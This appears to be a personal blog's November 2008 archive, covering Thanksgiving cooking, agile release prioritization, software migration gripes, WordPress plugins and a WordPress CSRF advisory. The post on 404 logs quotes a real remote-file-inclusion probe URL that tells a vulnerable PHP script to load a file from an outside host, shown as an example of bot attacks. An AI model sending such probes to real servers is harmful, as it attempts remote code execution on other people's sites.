Month: November 2008

Thanksgiving 2008: Big ass turkey

It’s time for the Thanksgiving menu, and not a moment too soon. I managed to get to Wilson Farms today in the nick of time to pick up my turkey, came home early, and boiled my customary Alton Brown brine (1 gallon vegetable broth, a cup of salt, a half-cup mixed brown and white sugar since we were low on brown, and peppercorns) and iced it down and put it on the porch to cool. After cooking a pre-Feast of the Beast (biftek a la Lyonnaise with a quick sauce Robert) and taking care of a few other odds and ends, I wrangled the turkey into the brine.

That’s not a small task. We have five adults and a small child at the dinner table this year, which means a slightly bigger turkey. Like, 19 pounds. This year I remembered to fish the neck and liver out of the cavity AND to get the paper bag with the other organs out of the neck cavity (very good progress!) before the turkey went into the cooler on a bag’s worth of ice, breast down; the brine went over the turkey; and another half bag of ice went on top. The cooler is now on the porch (mercifully, it’ll be between 30° and 34° tonight) and I’m catching my breath while I think about the rest of the menu.

My mother-in-law, mercifully, has already taken care of dessert—a homemade apple pie. That leaves us with:

What’s up with all the duplications? Well, I made the classic product manager error: I didn’t socialize my plans in advance and got blowback. We’ll see how it goes.

Grab bag: Pre-Thanksgiving light blogging

Grab bag: Nogging your egg

Release planning: How you prioritize matters

I hope I have the time to come back to this thought tomorrow (along with some overdue Thanksgiving blogging). But I had the opportunity to meet up with an old colleague for lunch today and to discuss, among other things, two different agile project cycles. One project cycle ships every four to five months, has seven or eight two-week iterations inside the release cycle, and uses MoSCoW-style prioritization (that is, Must, Should, Could, Won’t) for feature stories and for backlog. The other ships every six weeks, has one iteration inside the release cycle, and uses forced stack ranking for feature stories and backlog.

Which of the differences (iterations per release, release length, prioritization) is most important between the two projects? Which has the greatest impact on the release?

I’m going to give away the answer when I say I think there’s a stack rank of impact:

  1. Prioritization method
  2. Release length
  3. Iteration frequency

Why is prioritization so important? And which method is better, forced stack ranking or must, should, could, won’t?

The problem with any bounded priority system, whether it’s MoSCoW, Very High/High/Medium/Low, or simply 1, 2, 3, 4, is that it leads to “priority inflation.” When I was selling ITIL compatible software, we had a feature in our system that used a two factor method and customizable business logic to set priority for customer IT incidents. It was necessary to go to that length because, left to their own devices, customers push everything inexorably to the highest priority. Why? Because they learn, over time, that that’s all that ever gets fixed.

It’s true in software development too. I can’t count the number of features that were ranked as “must haves” on the project that used MoSCoW. It was very difficult to defend phasing the work, because everything was a must.

The project that uses forced stack ranking doesn’t have the problem of too many “must haves” because there can be only one #1 priority, and only one #2, and so on. Developers can work down the list of priorities through a release. If there’s been an error in estimation and the team has overcommitted for the release, it’s the lower priority items that slip.

The forced stack ranking works with stakeholders outside engineering too, because it forces them to evaluate requirements against each other in a systematic way. Rather than saying “everything is a must,” stakeholders can give answers about whether requirement A or B is more important within the scope of the release.

Release length and iteration frequency matter, too, because they provide mechanisms for market-driven and internal-driven course correction. But from my experience, as long as the release length and iteration frequency aren’t too far out of whack, the right prioritization method is a crucial ingredient for successful delivery of software that meets stakeholder expectations and for defining feature lists that have a reasonable shot of getting completed within a single release.

Grab bag: Uncle Joe goes to Washington

Taglocity 2 – Migration frustration

I installed version 2 of Taglocity on Friday. As I wrote a while ago, the older version of Taglocity has saved my bacon many times, and I was excited about the new features. I still am, but I’m a little more cautious about the new version today.

Why? Migration.

I installed the new version in the morning and was astonished when I went to tag the first message: my tags were gone. More precisely, there were no auto-filling tags happening at all. I went back to the Taglocity welcome screen, and somehow found an option to import existing categories as tags. Which turned all my tags into [tags], because the old version of Taglocity entered the tag values into Outlook categories with brackets around them. Grr.

I checked the website and there was no online migration guidance for users of 1.1 Grr. So I fired off an email to Taglocity support to ask what I was missing. I waited an hour (while I was in a meeting) and didn’t get a response. Grrrrrr.

So I started manually fixing the old tags. What a pain. I got partway through and threw in the towel for the day. When I got in on Monday, there was an email from Taglocity support telling me that there was an option to convert the tags to version 2:

All you have to do is ‘Import V1 tags’ and then convert them into version 2.

You can access these tools by clicking on the ‘Taglocity’ main menu and then clicking on ‘Configuration’ -> ‘Tools& Support’.

Which I’m doing now.

So, Taglocity, here’s what you could have done differently:

  1. Put the migration option front and center in your welcome screen–or detect that I already had Taglocity installed, and offered to migrate everything for me.
  2. Failing that, put the migration how-to on your web site. A no-brainer, really.
  3. Put an auto-responder on your support email to let me know you got my message and set my expectations about wait times. I hate them too, but they’re better than waiting six hours to find out if my email went through.
  4. Pat Vanessa in support on the back, because her answer was spot on.

Ok. Other than the migration issues, I like a few things about the update. The UI is cleaner, I love that I don’t have to use a tag cloud to filter by tags. I’m not super thrilled about the additional sidebar, mostly because I had Xobni installed, and it doesn’t seem to give me anything Xobni doesn’t. On the other hand, the stuff that Xobni gives me that Taglocity doesn’t is stuff I don’t use very much anyway–except for the phone number. If Taglocity added options to get me to the tags I use most often in conversation with people, that would be great, and I might start hiding Xobni’s sidebar instead of the other way around.

Grab bag: iPhone update, economy reboot

Grab bag: Communication by any channel necessary

Redirecting away from lost comments

I thought I had linked to Urban Giraffe’s great Redirection WordPress plug-in, but there was a glitch between Ubiquity and Delicious and the link didn’t get saved. Ah well. The point is that Redirection makes it dead simple to do two things: track 404s (dead links) that users hit on your site, and create redirects so that people coming to that link get served valid content.

I’ve been going through the process of reviewing the 404s for the first few days, and have found three general types of 404:

  1. Old Manila stories that were part of my old site structure but didn’t get published in the same way on WordPress. This is easy to fix, because WordPress lets you edit the “pretty URL” for these pages directly.
  2. Attack URLs. These tend to look like /inc​/cmses​/aedatingCMS.php?dir[inc]=http:​/​/rfi.at.ua​/test.txt?? and represent bots trying to exploit known software vulnerabilities. I generally am ignoring these right now.
  3. Permalinks to comments.

This third one is the sad part. Somewhere along the way, whether when I turned off comments on my Manila site or at some other point, all the old comments on my posts were lost. So there’s nowhere for me to redirect: the content’s gone. Comments ranging from the banal to the friendly, from Dave Sifry of Technorati pre-announcing link voting to the late Anita Rowland reminding me to follow up on a post on universal remotes.

I’m now going through the sad task of removing those links one at a time on this site. I guess entropy is alive and well.

But the point is that Redirection is a great WP plugin.

Grab bag: Parties and Python

Remix culture: NASA’s bootleg Snoopy from 1969

I had read about NASA’s use of Snoopy and the Peanuts characters as unofficial mascots for Apollo 10 (it was well documented in Charlie Brown and Charlie Schulz, which sat on my Pop-Pop’s bookshelf alongside the Peanuts Treasury), but don’t remember seeing this. Courtesy Google Image Search and the LIFE archives:

As good an argument for the Commons as I’ve ever seen. The irony is, of course, that it sits in Google Images with no reasonable licensing in place. Even this bootleg image is claimed as copyright LIFE magazine.

WordPress 2.6.3 CSRF security vulnerability

No link, because I’m posting this from my iPhone. But it looks like WordPress 2.6.3, the latest version, has a cross site request forgery vulnerability. The way CSRF works, if you have your WP site open and are logged in, an attacker can use another web page that’s open at the same time to perform actions on your blog, like deleting users. No word yet that I’ve seen about a fix. I’ll post more about CSRF in a while.

Update: Here’s the official published vulnerability (CVE-2008-5113) from the National Vulnerability Database. And here’s a good description of how CSRF works from OWASP. The scary bit is that if the application isn’t patched, there’s not a lot you can do to mitigate the attack. I haven’t seen anything official from WordPress yet on this vulnerability, but there’s an interesting discussion trail on the bug. Bottom line for app developers: don’t trust user input, and yes the HTTP request needs to be considered user input.

Grab bag: Old friends, WordPress, and more

Google LIFE archive: where’s the usage rights?

I’m impressed by the new LIFE photo archive at Google Images–it’s a truly significant work of digital content. But it’s missing one important thing: a usage policy. The images are marked (c) Time Inc., so it’s clear they aren’t public domain. But is there any way to purchase usage rights? The only reuse provision seems to be a framed print purchase.

Compare it to what Flickr does with the images in its commons, or anywhere else for that matter–a clear licensing agreement, selectable by the poster, that explains how images can be used. The LIFE archive may be visually striking, but it would be much more valuable if the images could have a life beyond Google’s servers.